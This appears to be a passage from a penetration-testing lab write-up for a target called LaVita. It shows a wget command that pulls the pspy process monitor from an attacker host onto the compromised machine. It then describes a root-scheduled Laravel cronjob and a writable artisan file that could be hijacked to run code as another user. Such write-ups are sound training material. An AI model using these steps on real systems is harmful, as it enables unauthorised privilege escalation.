LaVita_PSPY

PSPY

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A root cronjob process was discovered.

www-data@debian:/var/tmp$ wget -q http://192.168.45.249/pspy64 ; chmod 755 ./pspy64

Delivery complete

www-data@debian:/var/tmp$ ./pspy64 &
[1] 16603
www-data@debian:/var/tmp$ pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
 
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

Executing PSPY

Laravel cronjob being executed as the skunk user;

• It executes the /var/www/html/lavita/artisan PHP file with the clear:pictures argument
  • which removes everything in the /var/www/html/lavita/public/images directory

artisan

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www-data@debian:/var/www/html/lavita$ ll /var/www/html/lavita/artisan
4.0K -rwxr-xr-x 1 www-data www-data 1.7K Nov 10  2020 /var/www/html/lavita/artisan

The /var/www/html/lavita/artisan file is OWNED by the current user; www-data This would mean that I could hijack the PHP file to get code execution as the skunk user, leveraging the cronjob.